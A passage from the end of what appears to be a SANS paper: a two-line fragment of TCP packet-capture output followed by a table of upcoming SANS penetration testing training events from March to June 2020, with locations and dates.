*****A* Seq: 0x58A2A113   Ack: 0x594367A8   Win: 0x7C70
TCP Options => NOP NOP TS: 1514918 69940

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
+=+
## Upcoming SANS Penetration Testing

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Philadelphia 2020</td>
<td>Philadelphia, PA</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Frankfurt March 2020</td>
<td>Frankfurt, Germany</td>
<td>Mar 30, 2020 - Apr 04, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS 2020</td>
<td>Orlando, FL</td>
<td>Apr 03, 2020 - Apr 10, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Middle East April 2020</td>
<td>Dubai, United Arab Emirates</td>
<td>Apr 11, 2020 - Apr 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Minneapolis 2020</td>
<td>Minneapolis, MN</td>
<td>Apr 13, 2020 - Apr 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Bethesda 2020</td>
<td>Bethesda, MD</td>
<td>Apr 13, 2020 - Apr 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Canadians Academy SEC504</td>
<td>Brampton, ON</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>CS Cybersecure Catalyst Women Academy SEC504</td>
<td>Brampton, ON</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Boston Spring 2020</td>
<td>Boston, MA</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Career Academy SEC504</td>
<td>Brampton, ON</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS London April 2020</td>
<td>London, United Kingdom</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Pen Test Austin 2020</td>
<td>Austin, TX</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Spring 2020</td>
<td>Baltimore, MD</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Community SANS Nashville SEC542</td>
<td>Nashville, TN</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS Amsterdam May 2020</td>
<td>Amsterdam, Netherlands</td>
<td>May 11, 2020 - May 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Security West 2020</td>
<td>San Diego, CA</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Hong Kong 2020</td>
<td>Hong Kong, Hong Kong</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Northern Virginia- Alexandria 2020</td>
<td>Alexandria, VA</td>
<td>May 17, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS San Antonio 2020</td>
<td>San Antonio, TX</td>
<td>May 17, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Autumn Sydney 2020</td>
<td>Sydney, Australia</td>
<td>May 18, 2020 - May 23, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Atlanta Spring 2020</td>
<td>Atlanta, GA</td>
<td>May 26, 2020 - May 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Cloud Security Summit &amp; Training 2020</td>
<td>CyberCast,</td>
<td>May 27, 2020 - Jun 03, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Community SANS Seattle SEC560</td>
<td>Seattle, WA</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>Community SANS Scottsdale SEC504</td>
<td>Scottsdale, AZ</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
<tr>
<td>SANS London June 2020</td>
<td>London, United Kingdom</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Rocky Mountain HackFest Summit &amp; Training 2020</td>
<td>Denver, CO</td>
<td>Jun 01, 2020 - Jun 08, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Chicago Spring 2020</td>
<td>Chicago, IL</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Community SANS Charlotte SEC504</td>
<td>Charlotte, NC</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Community SANS</td>
</tr>
</tbody>
</table>